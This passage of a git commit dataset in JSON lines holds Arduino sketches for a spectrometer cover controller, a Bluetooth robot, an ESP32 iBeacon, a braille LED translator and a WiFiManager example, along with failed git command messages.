\n} \/\/end loop()\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'base2clock.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4b3326e98bbe19ab0c091a7581c57a0100c77cc7","subject":"handle alarm better","message":"handle alarm better\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/src\/hrm.ino","new_file":"arduino\/src\/hrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bb51dd5994b5b71b7511921ad1caf2db218365a3","subject":"Initial commit of code","message":"Initial commit of code\n\nThis is arduino code to run the EM27\/Sun tracker cover.","repos":"BillSimpson\/EM27cover","old_file":"EM27cover.ino","new_file":"EM27cover.ino","new_contents":"#include <AccelStepper.h>\n\n\/\/ Bill Simpson (wrsimpson@alaska.edu) 25 Jun 2017\n\/\/\n\/\/ This code is placed into the public domain\n\/\/ \n\/\/ This is code to run an arduino microcontroller to \n\/\/ open and close a cover for the EM27\/Sun spectrometer.\n\/\/ The code drives a stepper motor that does the motion\n\/\/ and reads limit switches to determine open\/closed state.\n\/\/ There is a basic text-based interface between the \n\/\/ controller and the host computer with the intent that\n\/\/ the host computer logs the state of the cover and such\n\/\/ events. The arduino also has a rain sensor that will\n\/\/ force the cover to close in the event of rain.\n\/\/\n\/\/ Text commands:\n\/\/ o = Open cover\n\/\/ c = Close cover\n\/\/ ? = Report cover state (open\/closed & rain)\n\/\/ \n\/\/ Event feedback:\n\/\/ If the cover closes or opens, that is sent as \"closing by request\" or \"closing by rain\"\n\/\/ When the cover reaches a state, that is reported as \"closed state achieved\"\n\/\/ the ? command returns: \"cover closed\/open\/unknown, rain absent\/present\"\n\/\/\n\/\/ The hardware uses a Pololu DRV8825 current-controlled (chopper) driver\n\/\/ Note that the current is set in the hardware (potentiometer). We use the \"enable\"\n\/\/ feature to turn off the motor current when the motor is at an end state.\n\/\/\n\/\/ The carrier board has a header installed from DIR to M1 on the digital side\n\/\/ Those header pins are inserted into the UnoDIO pins D7 to D2\n\/\/ The enable and fault pins are jumpered to other digital pins \n\/\/ \n\/\/ Note that the motor power requires a capacitor to smooth input, and the microcontroller\n\/\/ ground is common with (connected to) the motor drive ground.\n\/\/\n\/\/ Limit switches are open (high) when not at limit and short to ground (low) at limit\n\/\/ Rain sensor is connected digitally.\n\/\/\n\/\/ Motor variables below. Calculates microsteps from USTEP_DIVISOR\n\/\/ Due to hardware choice to wire M0 low, only full, 1\/4, 1\/16, and 1\/32 can be selected\n\/\/ Note that the driver may not run at high microsteps \/ second (>4000 microsteps\/sec)\n\/\/ for Arduino Uno (16MHz) according to AccelStepper manual; needs testing.\n\n#define STEPS_FULLMOVE 6250 \n\/\/ actual move is about 5625, but this should be more to assure full open\n#define USTEP_DIVISOR 4\n\/\/ the divisor for microstepping, 1 = full steppping, 4 = 1\/4 stepping,\n\/\/ 16 = 1\/16 stepping, 32 = 1\/32 stepping \n#define STEP_SPEED 250\n\/\/ Speed in full steps per second. For 200 steps\/rot and 8mm\/rot this is 10 mm\/sec\n#define STEP_ACCEL 1000\n\/\/ Accel in full steps per second per second\n\n#define DIRECTION_OPEN +1\n#define DIRECTION_CLOSE -1\n\/\/ state codes\n#define STATE_UNKNOWN 0 \n\/\/ used when not at either limit\n#define STATE_CLOSED 1 \n\/\/ used when at the closed limit\n#define STATE_OPENED 2 \n\/\/ used when at the open limit\n#define STATE_ERROR 3 \n\/\/ if both switches are triggered -- motor cannot move\n\/\/ fault codes\n#define FAULT_NONE 0\n#define FAULT_MOTOR_SHORT 1\n#define FAULT_DRIVER_FAULT 2\n\/\/ condition codes\n#define COND_CLEAR 0\n#define COND_RAIN 1\n\n\/\/ Driver for stepper motor\n\n#define DPIN_DIR 7\n#define DPIN_STEP 6\n#define DPIN_NOT_SLEEP 5\n#define DPIN_NOT_RESET 4\n#define DPIN_M2 3\n#define DPIN_M1 2\n\n#define DPIN_ENABLE 8 \n\/\/ output to enable \/ disable\n#define DPIN_DRIVER_FAULT 9 \n\/\/ input from driver board indicating fault\n\n\/\/ Limit switches\n\n#define DPIN_LIMIT_CLOSED 10 \n\/\/ input from limit switch\n#define DPIN_LIMIT_OPENED 11 \n\/\/ input from limit switch\n\n\/\/ Rain sensorString outString = \"\"; \/\/ string for output\n#define DPIN_RAIN 12 \/\/ input from rain sensor (digital)\n\n\/\/ Global variables\n\nchar commandchar; \/\/ command character\nint state = STATE_UNKNOWN;\nint requeststate = STATE_CLOSED;\nint last_state = STATE_UNKNOWN;\nint fault, condition; \/\/ global\nfloat duration;\n\nAccelStepper stepper(AccelStepper::DRIVER, DPIN_STEP, DPIN_DIR); \/\/ sets up 2-wire stepper driver\n\n\/\/ Setup for serial io and driving the stepper\nvoid setup() {\n \/\/ Start serial for input \/ output\n Serial.begin(9600);\n Serial.println(\"EM27Sun Cover Driver v1.0\");\n \/\/ Set up for the Stepper motor\n stepper.setPinsInverted(true,false,true); \/\/ sets direction and enable pins inverted\n stepper.setMaxSpeed(USTEP_DIVISOR * STEP_SPEED);\n stepper.setAcceleration(USTEP_DIVISOR * STEP_ACCEL);\n stepper.setEnablePin(DPIN_ENABLE);\n\n \/\/ Set up the pins for power and motor microstep selection\n pinMode(DPIN_NOT_SLEEP, OUTPUT);\n pinMode(DPIN_NOT_RESET, OUTPUT);\n pinMode(DPIN_M2, OUTPUT);\n pinMode(DPIN_M1, OUTPUT);\n \/\/ Turn on power to driver board\n digitalWrite(DPIN_NOT_SLEEP, HIGH);\n digitalWrite(DPIN_NOT_RESET, HIGH);\n if (USTEP_DIVISOR == 1) {\n \/\/ Set for full stepping\n digitalWrite(DPIN_M2, LOW);\n digitalWrite(DPIN_M1, LOW);\n }\n if (USTEP_DIVISOR == 4) {\n \/\/ Set for 1\/4 stepping\n digitalWrite(DPIN_M2, LOW);\n digitalWrite(DPIN_M1, HIGH);\n }\n if (USTEP_DIVISOR == 16) {\n \/\/ Set for 1\/16 stepping\n digitalWrite(DPIN_M2, HIGH);\n digitalWrite(DPIN_M1, LOW);\n }\n if (USTEP_DIVISOR == 32) {\n \/\/ Set for 1\/16 stepping\n digitalWrite(DPIN_M2, HIGH);\n digitalWrite(DPIN_M1, HIGH);\n }\n \/\/ Set up the pins for inputs\n pinMode(DPIN_DRIVER_FAULT, INPUT);\n pinMode(DPIN_LIMIT_CLOSED, INPUT);\n pinMode(DPIN_LIMIT_OPENED, INPUT);\n pinMode(DPIN_RAIN, INPUT);\n}\n\n\/\/ Main loop\nvoid loop() {\n \/\/ determine current state, condition, and fault\n state = determine_state(); \/\/ open\/closed\n condition = determine_cond(); \/\/ rain or not\n fault = determine_fault(); \/\/ check for motor fault\n \/\/ print if there is a state change\n if (state != last_state) {\n if (state==STATE_OPENED) {\n Serial.println(\"Current state is OPENED\");\n }\n if (state==STATE_CLOSED) {\n Serial.println(\"Current state is CLOSED\");\n }\n if (state==STATE_ERROR) {\n Serial.println(\"Current state is ERROR -- both limits triggered\");\n }\n if (state==STATE_UNKNOWN) {\n Serial.println(\"Current state is UNKNOWN\");\n }\n }\n last_state = state;\n \/\/ look for user input\n while (Serial.available() > 0) {\n \/\/ All commands are single characters\n char commandchar = Serial.read();\n Serial.print(\"Received command: \");\n Serial.println(commandchar);\n switch (commandchar) {\n case 'o':\n case 'O':\n requeststate = STATE_OPENED;\n Serial.println(\"User requested cover to open\");\n break;\n case 'c':\n case 'C':\n requeststate = STATE_CLOSED;\n Serial.println(\"User requested cover to close\");\n break;\n case '?':\n report_state();\n break;\n default:\n Serial.println(\"Command not recognized\");\n }\n }\n if (condition == COND_RAIN) {\n if (state != STATE_CLOSED) {\n Serial.println(\"Rain forced cover to close\");\n fault = move_to_limit(DIRECTION_CLOSE, &duration);\n if (fault == FAULT_MOTOR_SHORT) \n Serial.print (\"Cover attempted to close but failed to reach limit in \");\n else\n Serial.print(\"Cover closed successfully in \");\n Serial.print(duration);\n Serial.println(\" seconds\");\n }\n }\n else {\n if (state != requeststate) { \n \/\/ try to change state\n if (requeststate == STATE_CLOSED) {\n fault = move_to_limit(DIRECTION_CLOSE, &duration);\n if (fault == FAULT_MOTOR_SHORT) \n Serial.print(\"Cover attempted to close but failed to reach limit in \");\n else\n Serial.print(\"Cover closed successfully in \");\n }\n else {\n fault = move_to_limit(DIRECTION_OPEN, &duration); \n if (fault == FAULT_MOTOR_SHORT) \n Serial.print(\"Cover attempted to open but failed to reach limit in \");\n else\n Serial.print(\"Cover opened successfully in \");\n }\n Serial.print(duration);\n Serial.println(\" seconds\");\n }\n }\n delay(2000); \/\/ 10Hz rep of main loop\n}\n\nvoid report_state() {\n Serial.print(\"Status: State = \");\n switch (state) {\n case STATE_CLOSED:\n Serial.print(\"closed \");\n break;\n case STATE_OPENED:\n Serial.print(\"opened \");\n break;\n default:\n Serial.print(\"unknown \");\n }\n switch (fault) {\n case FAULT_MOTOR_SHORT:\n Serial.print(\"fault = motor ran short \");\n break;\n case FAULT_DRIVER_FAULT:\n Serial.print(\"fault = driver in fault \");\n }\n if (condition == COND_RAIN){\n Serial.print(\"condition = rain \"); \n }\n Serial.println(\"\");\n}\n\nint determine_state() {\n int retcode;\n\n retcode = STATE_UNKNOWN;\n if (digitalRead(DPIN_LIMIT_CLOSED) == LOW)\n retcode = STATE_CLOSED; \n if (digitalRead(DPIN_LIMIT_OPENED) == LOW) {\n if (retcode == STATE_CLOSED) retcode = STATE_ERROR;\n else retcode = STATE_OPENED;\n }\n return retcode; \n}\n\nint determine_cond() {\n int retcode;\n\n if (digitalRead(DPIN_RAIN) == LOW)\n retcode = COND_RAIN; \n else \n retcode = COND_CLEAR;\n return retcode; \n}\n\nint determine_fault() {\n int retcode;\n\n if (digitalRead(DPIN_DRIVER_FAULT) == LOW)\n retcode = FAULT_DRIVER_FAULT; \n else \n retcode = FAULT_NONE;\n return retcode; \n}\n\nint move_to_limit(int dir, float* elapsed_sec) {\n int continu = 1;\n int retcode, dpin_limit;\n unsigned long startmillis;\n\n startmillis = millis();\n \/\/ Setup digital pin for sought limit switch\n if (dir == DIRECTION_CLOSE) {\n dpin_limit = DPIN_LIMIT_CLOSED;\n } else {\n dpin_limit = DPIN_LIMIT_OPENED; \n }\n \/\/ Enable the driver (turn current on)\n stepper.enableOutputs();\n \/\/ start motion towards sought limit\n stepper.move(dir * STEPS_FULLMOVE * USTEP_DIVISOR);\n \/\/ run the motor\n retcode = FAULT_MOTOR_SHORT;\n while (stepper.distanceToGo() != 0) {\n if (digitalRead(dpin_limit) == LOW) {\n retcode = FAULT_NONE;\n stepper.stop();\n }\n stepper.run();\n }\n \/\/ Disable the driver (turn current off)\n stepper.disableOutputs();\n \/\/ calculate the elapsed time\n *elapsed_sec = (float)(millis() - startmillis)\/1000;\n \/\/ return the code\n return retcode;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'EM27cover.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b07d0590f80b9a9df21d3bade06219b0919c1ca9","subject":"Create ver3.ino","message":"Create ver3.ino","repos":"manashmndl\/OthersProject,manashmndl\/OthersProject,manashmndl\/OthersProject","old_file":"Dalal\/Robot\/ver3.ino","new_file":"Dalal\/Robot\/ver3.ino","new_contents":"#include <SoftwareSerial.h>\n#include <Motor.h>\n#include <NewPing.h>\n\n#define buzzer 2\n#define trig 8\n#define echo 7\n#define max_dist 100\n\nNewPing frontSonar(trig, echo, max_dist);\n\nint speed = 100;\n\nbool button_control = false;\nbool desktop = false;\nbool voice_control = false;\n\nString voice_command = \"\";\n\nmotorpins pins = {6, 9, 3, 5};\n\nMotor motor(pins);\n\nint led = 13;\n\nSoftwareSerial bt(10, 11); \/\/rx tx\n\nfloat values = -100;\nfloat yValues = -100;\n\nint x_value = 0;\nint y_value = 0;\n\nint direction = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n bt.begin(9600);\n pinMode(led, OUTPUT);\n pinMode(buzzer, OUTPUT);\n}\n\nint getX(String value){\n String x = value.substring(1, value.indexOf(','));\n return x.toInt();\n}\n\nint getY(String value){\n String y = value.substring(value.indexOf(',') + 1, value.indexOf(')'));\n return y.toInt();\n}\n\nString incomingByte = \"\";\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if (bt.available() > 0){\n \/\/values = bt.parseFloat();\n \/\/yValues = bt.parseFloat();\n \n \/\/Serial.println(\"x values: \" + String(values) + \"\\n y values: \" + String(yValues));\n String compositeData = bt.readStringUntil('\\n');\n incomingByte = compositeData;\n\n Serial.println(compositeData);\n \n if (compositeData.startsWith(\"~\")) {\n button_control = true;\n desktop = false;\n voice_control = false;\n if (compositeData.equals(\"~FORWARD\")) {Serial.println(\"fwd\"); direction = 9000;}\n else if (compositeData.equals(\"~BACKWARD\")) {Serial.println(\"back\"); direction = 10000;}\n else if (compositeData.equals(\"~LEFT\")) {Serial.println(\"left\"); direction = 11000;}\n else if (compositeData.equals(\"~RIGHT\")) {Serial.println(\"right\") ; direction = 12000;}\n else if (compositeData.equals(\"~STOP\")) {Serial.println(\"stop\"); direction = 13000;}\n \n\n } \n\n \n else if (compositeData.startsWith(\"W\") ||\n compositeData.startsWith(\"S\") ||\n compositeData.startsWith(\"A\") ||\n compositeData.startsWith(\"D\") ||\n compositeData.startsWith(\"q\")){\n Serial.println(\"data got\");\n desktop = true; \n voice_control = false;\n button_control = false;\n }\n\n\n else if (compositeData.endsWith(\"#\")){\n voice_command = compositeData;\n desktop = false;\n voice_control = true;\n button_control = false;\n }\n \n \n \n else {\n button_control = false;\n desktop = false;\n voice_control = false;\n x_value = getX(compositeData);\n y_value = getY(compositeData); \n }\n \n\/\/ Serial.println(\"x: \" + String(x_value));\n\/\/ Serial.println(x);\n \n delay(10);\n }\n\n if (button_control == false && desktop == false && voice_control == false){\n\n\n if (x_value > -8 && x_value < -3){\n \n\n Serial.println(\"FORWARD\");\n motor.go(speed, speed, FORWARD);\n }\n\n else if (x_value > 3 && x_value < 8){\n Serial.println(\"BACKWARD\");\n motor.go(speed, speed, BACKWARD);\n }\n\n else if (y_value > 3 && y_value < 8){\n Serial.println(\"LEFT\");\n motor.go(0, speed, LEFT);\n }\n\n\n else if (y_value > -8 && y_value < -3){\n \n\n Serial.println(\"RIGHT\");\n motor.go(speed, 0, RIGHT);\n }\n\n else {\n motor.go(0, 0, NOWHERE);\n }\n\n } else {\n\n if (direction == 9000){\n motor.go(speed, speed, FORWARD);\n } else if (direction == 10000){\n motor.go(speed, speed, BACKWARD);\n } else if (direction == 11000){\n \n motor.go(speed, speed, RIGHT);\n } else if (direction == 12000){\n motor.go(speed, speed, LEFT);\n } else if (direction == 13000){\n motor.go(0, 0, NOWHERE);\n }\n }\n\n\n if (desktop == true){\n if (incomingByte.equals(\"W\")) { motor.go(speed, speed, FORWARD); Serial.println(\"forward\");}\n else if (incomingByte.equals(\"S\")) { motor.go(speed, speed, BACKWARD); Serial.println(\"backward\"); }\n else if (incomingByte.equals(\"A\")) { motor.go(speed, speed, LEFT); Serial.println(\"left\"); }\n else if (incomingByte.equals(\"D\")) {motor.go(speed, speed, RIGHT); Serial.println(\"right\");}\n else motor.go(0, 0, NOWHERE);\n }\n\n if (frontSonar.ping_cm() > 2 && frontSonar.ping_cm() < 10){\n digitalWrite(buzzer, HIGH);\n } else digitalWrite(buzzer, LOW);\n\n if (voice_control == true && desktop == false && button_control == false){\n if (voice_command.equals(\"*forward#\")) {motor.go(speed, speed, FORWARD); Serial.println(\"Forward\"); }\n else if (voice_command.equals(\"*left#\")) {motor.go(speed, speed, LEFT); Serial.println(\"Left\");}\n else if (voice_command.equals(\"*right#\")) {motor.go(speed, speed, RIGHT); Serial.println(\"Right\");}\n else if (voice_command.equals(\"*backward#\")) {motor.go(speed, speed, BACKWARD); Serial.println(\"Backward\");}\n else motor.go(0, 0, NOWHERE);\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Dalal\/Robot\/ver3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3436c8735202bc6f7a479772df635e76d3d29c4e","subject":"BLE_iBeacon","message":"BLE_iBeacon\n","repos":"Eloquence4\/esp32-snippets,Eloquence4\/esp32-snippets,Eloquence4\/esp32-snippets,nkolban\/esp32-snippets,Eloquence4\/esp32-snippets,nkolban\/esp32-snippets,Eloquence4\/esp32-snippets,nkolban\/esp32-snippets,nkolban\/esp32-snippets,nkolban\/esp32-snippets","old_file":"cpp_utils\/tests\/BLETests\/Arduino\/BLE_iBeacon\/BLE_iBeacon.ino","new_file":"cpp_utils\/tests\/BLETests\/Arduino\/BLE_iBeacon\/BLE_iBeacon.ino","new_contents":"\/*\n Based on Neil Kolban example for IDF: https:\/\/github.com\/nkolban\/esp32-snippets\/blob\/master\/cpp_utils\/tests\/BLE%20Tests\/SampleScan.cpp\n Ported to Arduino ESP32 by pcbreflux\n*\/\n\n \n\/*\n Create a BLE server that will send periodic iBeacon frames.\n The design of creating the BLE server is:\n 1. Create a BLE Server\n 2. Create advertising data\n 3. Start advertising.\n 4. wait\n 5. Stop advertising.\n 6. deep sleep\n \n*\/\n#include \"sys\/time.h\"\n\n#include \"BLEDevice.h\"\n#include \"BLEServer.h\"\n#include \"BLEUtils.h\"\n#include \"BLEBeacon.h\"\n#include \"esp_sleep.h\"\n\n#define GPIO_DEEP_SLEEP_DURATION 10 \/\/ sleep x seconds and then wake up\nRTC_DATA_ATTR static time_t last; \/\/ remember last boot in RTC Memory\nRTC_DATA_ATTR static uint32_t bootcount; \/\/ remember number of boots in RTC Memory\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nuint8_t temprature_sens_read();\n\/\/uint8_t g_phyFuns;\n\n#ifdef __cplusplus\n}\n#endif\n\n\/\/ See the following for generating UUIDs:\n\/\/ https:\/\/www.uuidgenerator.net\/\nBLEAdvertising *pAdvertising;\nstruct timeval now;\n\n#define BEACON_UUID \"8ec76ea3-6668-48da-9866-75be8bc86f4d\" \/\/ UUID 1 128-Bit (may use linux tool uuidgen or random numbers via https:\/\/www.uuidgenerator.net\/)\n\nvoid setBeacon() {\n\n BLEBeacon oBeacon = BLEBeacon();\n oBeacon.setManufacturerId(0x4C00); \/\/ fake Apple 0x004C LSB (ENDIAN_CHANGE_U16!)\n oBeacon.setProximityUUID(BLEUUID(BEACON_UUID));\n oBeacon.setMajor((bootcount & 0xFFFF0000) >> 16);\n oBeacon.setMinor(bootcount&0xFFFF);\n BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();\n BLEAdvertisementData oScanResponseData = BLEAdvertisementData();\n \n oAdvertisementData.setFlags(0x04); \/\/ BR_EDR_NOT_SUPPORTED 0x04\n \n std::string strServiceData = \"\";\n \n strServiceData += (char)26; \/\/ Len\n strServiceData += (char)0xFF; \/\/ Type\n strServiceData += oBeacon.getData(); \n oAdvertisementData.addData(strServiceData);\n \n pAdvertising->setAdvertisementData(oAdvertisementData);\n pAdvertising->setScanResponseData(oScanResponseData);\n\n}\n\nvoid setup() {\n\n \n Serial.begin(115200);\n gettimeofday(&now, NULL);\n\n Serial.printf(\"start ESP32 %d\\n\",bootcount++);\n\n Serial.printf(\"deep sleep (%lds since last reset, %lds since last boot)\\n\",now.tv_sec,now.tv_sec-last);\n\n last = now.tv_sec;\n \n \/\/ Create the BLE Device\n BLEDevice::init(\"\");\n\n \/\/ Create the BLE Server\n BLEServer *pServer = BLEDevice::createServer();\n\n pAdvertising = pServer->getAdvertising();\n \n setBeacon();\n \/\/ Start advertising\n pAdvertising->start();\n Serial.println(\"Advertizing started...\");\n delay(100);\n pAdvertising->stop();\n Serial.printf(\"enter deep sleep\\n\");\n esp_deep_sleep(1000000LL * GPIO_DEEP_SLEEP_DURATION);\n Serial.printf(\"in deep sleep\\n\");\n}\n\nvoid loop() {\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'cpp_utils\/tests\/BLETests\/Arduino\/BLE_iBeacon\/BLE_iBeacon.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"610ea062438881a76f8a1c5edd349ff5832570fd","subject":"First changes to support different HTTP Protocols","message":"First changes to support different HTTP Protocols\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/SmartHome,tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver","old_file":"arduino-server\/arduino-server.ino","new_file":"arduino-server\/arduino-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"244e41aed4c27f03662e9227047f3df07c1542f5","subject":"Adding basic file system support","message":"Adding basic file system support\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver,tomwagner1999\/SmartHome,tomwagner1999\/SmartHome","old_file":"arduino-server\/arduino-server.ino","new_file":"arduino-server\/arduino-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"663f58a8d0779f906cdc275bf431a2372dd71a9e","subject":"Mia's working version - very messy, needs to be cleaned up","message":"Mia's working version - very messy, needs to be cleaned up\n","repos":"harishnk\/brailletranslator","old_file":"code\/braille_test_Mia\/braille_test_Mia.ino","new_file":"code\/braille_test_Mia\/braille_test_Mia.ino","new_contents":"class Braille\n{\n public:\n Braille(byte pin, byte speed);\n void sendZero();\n void sendDot();\n \/\/void sendMsg(char *str);\n void sendChar(char c);\n};\n\n \/\/array of 'on' bits\n char brailleOn[8];\n int LEDpins [] = {3, 5, 9, 10, 11, 13};\n\n byte _speed;\t\/\/ Speed in WPM\n byte _pin;\t\/\/ Pin to beep or toggle\n byte _one;\t\/\/ 1 == beep to speaker, 0 == toggle pin high and low\n byte _zero;\n int _dotlen;\t\/\/ Length of dot (1)\n int _zerolen; \/\/Length of a zero (0)\n byte _brailleCodepage[] = {\t\/\/ \n B01101100, \/\/! 33\n B00010000, \/\/\" 34\n B01011100, \/\/# 35\n B11100100, \/\/$ 36\n B11000100, \/\/% 37\n B11101100, \/\/& 38\n B00001000, \/\/'39\n B10111100, \/\/( 40\n B01111100, \/\/) 41\n B10000100, \/\/* 42\n B01001100, \/\/+ 43\n B00000100, \/\/, 44 \n B00001100, \/\/- 45\n B01000100, \/\/. 46\n B01001000, \/\/\/ 47\n B00011100, \/\/0 48\n B00100000, \/\/1 49\n B00101000, \/\/2 50\n B00110000, \/\/3 51\n B00110100, \/\/4 52\n B00100100, \/\/5 53\n B00111000, \/\/6 54\n B00111100, \/\/7 55\n B00101100, \/\/8 56\n B00011000, \/\/9 57\n B10010100, \/\/: 58\n B00010100, \/\/; 59\n B10100100, \/\/< 60\n B11111100, \/\/= 61\n B01011000, \/\/> 62\n B11010100, \/\/? 63\n B01000000, \/\/@ 64\n B10000000, \/\/ASCII Glyph A 65\n B10100000, \/\/B 66\n B11000000, \/\/C 67\n B11010000, \/\/D 68\n B10100000, \/\/E 69\n B11100000, \/\/F 70\n B11110000, \/\/G 71\n B10110000, \/\/H 72\n B01100000, \/\/I 73\n B01110000, \/\/J 74\n B10001000, \/\/K 75\n B10101000, \/\/L 76\n B11001000, \/\/M 77\n B11011000, \/\/N 78\n B10011000, \/\/O 79\n B11101000, \/\/P 80\n B11111000, \/\/Q 81\n B10111000, \/\/R 82\n B01101000, \/\/S 83\n B01111000, \/\/T 84\n B10001100, \/\/U 85\n B10101100, \/\/V 86\n B01110100, \/\/W 87\n B11001100, \/\/X 88\n B11011100, \/\/Y 89\n B10011100, \/\/Z 90\n B01100100, \/\/[ 91\n B10110100, \/\/\\92\n B11110100, \/\/] 93\n B01010000, \/\/^ 94\n B01010100 \/\/_ 95 \n };\n \n\nBraille::Braille(byte pin, byte speed)\n{\n \/\/ Save values for later use\n _pin = pin;\n _speed = speed;\n\n \/\/ Calculate the length of dash and dot\n _dotlen = (1200\/_speed);\n _zerolen = (1200\/_speed);\n \/\/_zerolen = (3*_dotlen);\n\n \/\/ Set the pin to output mode\n pinMode(_pin, OUTPUT);\n}\n\nvoid Braille::sendZero()\n{\n digitalWrite(_pin, LOW);\n delay(300);\n \/\/digitalWrite(_pin, LOW);\n \/\/delay(_dotlen);\n}\n\nvoid Braille::sendDot()\n{\n digitalWrite(_pin, HIGH);\n delay(300);\n digitalWrite(_pin, LOW);\n delay(300);\n}\n\nvoid Braille::sendChar(char c)\n{\n int _i = 0;\n byte _BrailleBinaryRep;\n byte tempinput;\n byte mask = B1;\n\n \/\/ Send space\n if (c == ' ') {\n \/\/delay(_dotlen) ;\n return ;\n }\n else {\n tempinput = (byte) c;\n if (tempinput >= 97 && tempinput <= 122) {\n tempinput -= 32; \n }\n\n _i = (tempinput - 33);\n _BrailleBinaryRep = _brailleCodepage[_i];\n Serial.println(\"Braille mapped value is \");\n Serial.println(_BrailleBinaryRep, BIN);\n\n }\n\n\n for (int j = 0; j < 8; j++) {\n int k = -(j) + 8;\n int LED = k;\n \n brailleOn[k] = (_BrailleBinaryRep & (mask << j)) != 0;\n\n if (brailleOn[k] == 1) {\n Serial.print(\"LED #: \");\n Serial.println(k);\n\t sendDot();\n } else {\n\t sendZero();\n }\n }\n}\n\nBraille braille(LEDpins[2], 3);\n\nvoid setup() {\n \/\/ put your setup code here, to run once: \n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly: \n String stringIn = \"\";\n char fragmentIn;\n\n while(Serial.available()) {\n fragmentIn = Serial.read();\n braille.sendChar(fragmentIn);\n }\n}\n\n \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/braille_test_Mia\/braille_test_Mia.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a2c9e209e6842281a01b0223417bb39b6a1321f5","subject":"Configure on switch example. If there is no SSID in memory set up a configuration portal otherwise connect with existing SSID data. If a button is pushed go into configuration portal mode. Stay in configuration portal mode until user closes configuration portal or 3 minutes have passed.","message":"Configure on switch example. If there is no SSID in memory set up a configuration portal otherwise connect with existing SSID data. If a button is pushed go into configuration portal mode. Stay in configuration portal mode until user closes configuration portal or 3 minutes have passed.\n","repos":"alexkirill\/WiFiManager,alexkirill\/WiFiManager,alexkirill\/WiFiManager","old_file":"examples\/ConfigOnSwitch\/ConfigOnSwitch.ino","new_file":"examples\/ConfigOnSwitch\/ConfigOnSwitch.ino","new_contents":"#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n\n\/\/needed for library\n#include <ESP8266WebServer.h>\n#include <DNSServer.h>\n#include <WiFiManager.h> \/\/https:\/\/github.com\/kentaylor\/WiFiManager\n\/\/ select wich pin will trigger the configuraton portal when set to LOW\n\/\/ ESP-01 users please note: the only pins available (0 and 2), are shared \n\/\/ with the bootloader, so always set them HIGH at power-up\n\/\/ Onboard LED I\/O pin on NodeMCU board\nconst int PIN_LED = 16; \/\/ Controls the onboard LED.\n\/*Trigger for inititating config mode Pin D3 and also flash button on NodeMCU\n * Flash button is convenient to use but if it is pressed it will stuff up the serial port device driver \n * until the computer is rebooted on windows machines.\n *\/\nconst int TRIGGER_PIN = D3; \n\/*\n * Alternative trigger pin. Needs to be connected to a button to use this pin. It must be a momentary connection\n * not connected permanently to ground. Either trigger pin will work.\n *\/\nconst int TRIGGER_PIN2 = D7;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n \/\/ initialize the LED digital pin as an output.\n pinMode(PIN_LED, OUTPUT);\n Serial.begin(115200);\n Serial.println(\"\\n Starting\");\n WiFi.printDiag(Serial);\n Serial.print(\"Stored Password: \");\n Serial.println(WiFi.psk());\n Serial.print(\"Stored PSSID: \");\n Serial.println(WiFi.SSID());\n if (WiFi.SSID()==\"\"){\n Serial.println(\"We never ever got access point credentials, so get them now\"); \n digitalWrite(PIN_LED, LOW); \/\/ turn the LED on by making the voltage LOW to tell us we are in configuration mode.\n \/\/Local intialization. Once its business is done, there is no need to keep it around\n WiFiManager wifiManager;\n if (!wifiManager.startConfigPortal()) {\n Serial.println(\"failed to connect and should not get here\");\n delay(3000);\n \/\/reset and try again, or maybe put it to deep sleep\n ESP.reset();\n delay(5000);\n }\n }\n else{\n digitalWrite(PIN_LED, HIGH); \/\/ Turn led off as we are not in configuration mode.\n Serial.print(\"local ip: \");\n Serial.println(WiFi.localIP());\n unsigned long startedAt = millis();\n while(millis() - startedAt < 10000)\n {\n delay(100);\n if (WiFi.status()==WL_CONNECTED) {\n float waited = (millis()- startedAt);\n Serial.print(\"After waiting \");\n Serial.print(waited\/1000);\n Serial.print(\" secs in setup() local ip: \");\n Serial.println(WiFi.localIP());\n break;\n }\n }\n }\n pinMode(TRIGGER_PIN, INPUT_PULLUP);\n pinMode(TRIGGER_PIN2, INPUT_PULLUP);\n \/*Serial.print(\"Pin \");\n Serial.print(TRIGGER_PIN);\n Serial.print(\": \");\n Serial.println(digitalRead(TRIGGER_PIN));*\/\n if 